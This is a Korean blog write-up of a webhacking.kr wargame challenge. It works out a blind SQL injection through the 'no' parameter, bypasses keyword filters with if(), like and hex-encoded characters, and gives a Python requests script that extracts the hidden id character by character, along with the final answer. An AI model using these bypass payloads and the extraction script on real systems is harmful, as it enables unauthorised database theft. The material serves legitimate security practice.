no=3의 id값이 password라고 함
쿼리문은 아마 no의 값으로 id를 꺼내오는 단순한 구조인거같음
select id from 테이블 where no=1
이런구조?
no의 값에서 injection을 해야하는 것 같은데 필터링된게 엄청 많음
=, <, >, ||, &&, or, and, /**/, 공백, char, hex, select, left, ', ", # 더 있는거같다
그래도 필터링을 우회하여 injection이 먹히긴 함
공백은 괄호를 적당히 사용하면 될거같음
0은 없는 것 같으니 이걸로 씀
no=if(length(id)like(5),1,0)
id의 길이가 5이면 no=1이되고
아니라면 0번페이지를 호출할 거임
근데 하다보니 신기한 거였는데
if문의 참일 경우 반환되는 값에 따라
id가 no=1의 id인지
no=2의 id인지에 따라 바뀜
무슨 말이냐면
no=if(length(id)like(5),1,0)
이때는 no=1의 id
즉 apple이니까 5글자가 맞음 근데
no=if(length(id)like(5),2,0)
이렇게 하면 거짓 페이지로감
no=2의 id는 banana니까
no=if(length(id)like(6),2,0)
이렇게 하면
참인 no=2페이지가 나옴
그래서 no=3의 id값을 구하려면
no=if(length(id)like(5),3,0)
이렇게 해야 id값이 no=3의 id가 되는 거임
no=3의 id는 11글자
import time
import requests
url = "https://webhacking.kr/challenge/web-09/index.php"
session = requests.Session()
cookie={"PHPSESSID":"gfphkap47rugn7sgmm59tukl35"}
password = "0x"
realpw = ""
for i in range(1,12):
for j in range(43,127):
req=session.get(url+"?no=if(substr(id,"+str(i)+",1)like(0x"+format(j,'x')+"),3,0)",cookies=cookie)
if("Secret" in req.text):
password += format(j,'x')
realpw += chr(j)
print(chr(j)+"is Correct!!!")
break
print(chr(j))
print(realpw)
print(realpw)
ALSRKSWHAQL
근데 소문자로 해야함
한글로 입력하면
민간좀비
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 52번 (2) | 2020.01.18 |
---|---|
Webhacking.kr 13번 (1) | 2020.01.07 |
Webhacking.kr 57번 (0) | 2020.01.03 |
Webhacking.kr 45번 (0) | 2020.01.03 |
Webhacking.kr 40번 (0) | 2020.01.03 |